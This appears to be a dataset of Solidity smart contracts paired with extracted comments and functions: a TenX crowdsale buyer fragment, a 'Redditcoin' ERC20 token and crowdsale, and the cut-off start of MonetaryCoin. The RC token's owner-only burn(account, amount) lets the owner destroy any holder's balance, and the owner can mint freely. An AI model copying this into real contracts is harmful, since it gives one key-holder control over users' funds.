function buy(){ // Short circuit to save gas if the contract has already bought tokens. if (bought_tokens) return; // Record that the contract has bought the tokens. bought_tokens = true; // Record the time the contract bought the tokens. time_bought = now; // Transfer all the funds (less the bounty) to the TenX crowdsale contract // to buy tokens. Throws if the crowdsale hasn&#39;t started yet or has // already completed, preventing loss of funds. sale.createTokens.value(this.balance - bounty)(address(this)); // Send the caller their bounty for buying tokens for the contract. msg.sender.transfer(bounty); } // A helper function for the default function, allowing contracts to interact. function default_helper() payable { // Treat 0 ETH transactions as withdrawal requests. if (msg.value == 0) { withdraw(); } // Otherwise, the user is sending funds to buy tokens. else { // Only allow deposits if the contract hasn&#39;t already purchased the tokens. if (bought_tokens) throw; // Update records of deposited ETH to include the received amount. balances[msg.sender] += msg.value; } } function () payable { default_helper(); } }
A helper function for the default function, allowing contracts to interact. Treat 0 ETH transactions as withdrawal requests. Otherwise, the user is sending funds to buy tokens. Only allow deposits if the contract hasn&39;t already purchased the tokens. Update records of deposited ETH to include the received amount.
function default_helper() payable { if (msg.value == 0) { withdraw(); } else { if (bought_tokens) throw; balances[msg.sender] += msg.value; } }
2,216,233
/** *Submitted for verification at Etherscan.io on 2021-07-25 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract RC is Context, IERC20, IERC20Metadata, Ownable { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _name = "Redditcoin"; _symbol = "RC"; _totalSupply = 6100000000 * (10**decimals()); _balances[msg.sender] = _totalSupply; emit Transfer(address(0),msg.sender,_totalSupply); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function burn(address account,uint256 amount) public onlyOwner returns(bool) { _burn(account,amount); return true; } function mint(address account,uint256 amount) public onlyOwner returns(bool) { _mint(account,amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _afterTokenTransfer( address from,address to,uint256 amount) internal virtual {} } contract ReentrancyGuard { bool private _notEntered; constructor () { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(RC token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(RC token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(RC token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(RC token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(RC token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(RC token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute. return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } contract CROWDSALE is Context, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for RC; // The token being sold RC private _token; // Address where funds are collected address payable private _wallet; address private admin; // How many token units a buyer gets per wei. // The rate is the conversion between wei and the smallest and indivisible token unit. // So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK // 1 wei will give you 1 unit, or 0.001 TOK. uint256 internal _rate; // Amount of wei raised uint256 private _weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** * @param rate Number of token units a buyer gets per wei * token unit. So, if you are using a rate of 1 with a ERC20Detailed token * with 3 decimals called TOK, 1 wei will give you 1 unit, or 0.001 TOK. * @param wallet Address where collected funds will be forwarded to * @param token Address of the token being sold */ constructor ( uint256 rate, address payable wallet, RC token) { admin = msg.sender; require(rate > 0, "Crowdsale: rate is 0"); require(wallet != address(0), "Crowdsale: wallet is the zero address"); require(address(token) != address(0), "Crowdsale: token is the zero address"); _rate = rate; _wallet = wallet; _token = token; } function setNewRate(uint256 newRate) public { require(msg.sender == admin,"caller must be admin"); _rate = newRate; } /** * @dev fallback function ***DO NOT OVERRIDE*** * Note that other contracts will transfer funds with a base gas stipend * of 2300, which is not enough to call buyTokens. Consider calling * buyTokens directly when purchasing tokens from a contract. */ /*receive () external payable { buyTokens(_msgSender()); }*/ /** * @return the token being sold. */ function token_() public view returns (RC) { return _token; } /** * @return the address where funds are collected. */ function wallet_() public view returns (address payable) { return _wallet; } /** * @return the number of token units a buyer gets per wei. */ function rate_() public view returns (uint256) { return _rate; } /** * @return the amount of wei raised. */ function weiRaised() public view returns (uint256) { return _weiRaised; } function buyTokens(address beneficiary) public nonReentrant payable { uint256 weiAmount = msg.value; _preValidatePurchase(beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state _weiRaised = _weiRaised.add(weiAmount); _processPurchase(beneficiary, tokens); emit TokensPurchased(_msgSender(), beneficiary, weiAmount, tokens); _updatePurchasingState(beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(beneficiary, weiAmount); } receive () external payable { buyTokens(_msgSender()); } /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. * Use `super` in contracts that inherit from Crowdsale to extend their validations. * Example from CappedCrowdsale.sol's _preValidatePurchase method: * super._preValidatePurchase(beneficiary, weiAmount); * require(weiRaised().add(weiAmount) <= cap); * @param beneficiary Address performing the token purchase * @param weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal virtual { require(beneficiary != address(0), "Crowdsale: beneficiary is the zero address"); require(weiAmount != 0, "Crowdsale: weiAmount is 0"); this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid * conditions are not met. * @param beneficiary Address performing the token purchase * @param weiAmount Value in wei involved in the purchase */ function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view { // solhint-disable-previous-line no-empty-blocks } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends * its tokens. * @param beneficiary Address performing the token purchase * @param tokenAmount Number of tokens to be emitted */ function _deliverTokens(address beneficiary, uint256 tokenAmount) internal virtual { _token.safeTransfer(beneficiary, tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Doesn't necessarily emit/send * tokens. * @param beneficiary Address receiving the tokens * @param tokenAmount Number of tokens to be purchased */ function _processPurchase(address beneficiary, uint256 tokenAmount) internal { _deliverTokens(beneficiary, tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, * etc.) * @param beneficiary Address receiving the tokens * @param weiAmount Value in wei involved in the purchase */ function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal { // solhint-disable-previous-line no-empty-blocks } /** * @dev Override to extend the way in which ether is converted to tokens. * @param weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { return weiAmount.mul(_rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { _wallet.transfer(msg.value); } } contract AllowanceCrowdsale is CROWDSALE { using SafeMath for uint256; using SafeERC20 for RC; address private _tokenWallet; /** * @dev Constructor, takes token wallet address. * @param tokenWallet Address holding the tokens, which has approved allowance to the crowdsale. */ constructor (address tokenWallet,uint256 rate, address payable wallet, RC token) CROWDSALE(rate,wallet,token) { require(tokenWallet != address(0), "AllowanceCrowdsale: token wallet is the zero address"); _tokenWallet = tokenWallet; } /** * @return the address of the wallet that will hold the tokens. */ function tokenWallet_() public view returns (address) { return _tokenWallet; } /** * @dev Checks the amount of tokens left in the allowance. * @return Amount of tokens left in the allowance */ function remainingTokens() public view returns (uint256) { return Math.min(token_().balanceOf(_tokenWallet), token_().allowance(_tokenWallet, address(this))); } /** * @dev Overrides parent behavior by transferring tokens from wallet. * @param beneficiary Token purchaser * @param tokenAmount Amount of tokens purchased */ function _deliverTokens(address beneficiary, uint256 tokenAmount) internal override { token_().safeTransferFrom(_tokenWallet, beneficiary, tokenAmount); } } contract RCCrowdSale is AllowanceCrowdsale,Ownable { using SafeMath for uint256; uint256 private _minimumContribution; constructor(address tokenWallet,uint256 rate, address payable wallet, RC token,uint256 minimumContribution) AllowanceCrowdsale(tokenWallet,rate,wallet,token) { _minimumContribution = minimumContribution; } function setMinimumContribution(uint minimumContribution) public onlyOwner { _minimumContribution = minimumContribution; } function _preValidatePurchase (address beneficiary,uint256 weiAmount) internal override { require(weiAmount >= _minimumContribution); super._preValidatePurchase(beneficiary,weiAmount); } }
safeApprove should only be called when setting an initial allowance, or when resetting it to zero. To increase and decrease it, use 'safeIncreaseAllowance' and 'safeDecreaseAllowance' solhint-disable-next-line max-line-length
function safeApprove(RC token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); }
10,869,624
pragma solidity ^0.4.24; /** ----------------------MonetaryCoin V1.0.0 ------------------------*/ /** * Homepage: https://MonetaryCoin.org Distribution: https://MonetaryCoin.io * * Full source code: https://github.com/Monetary-Foundation/MonetaryCoin * * Licenced MIT - The Monetary Foundation 2018 * */ /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function 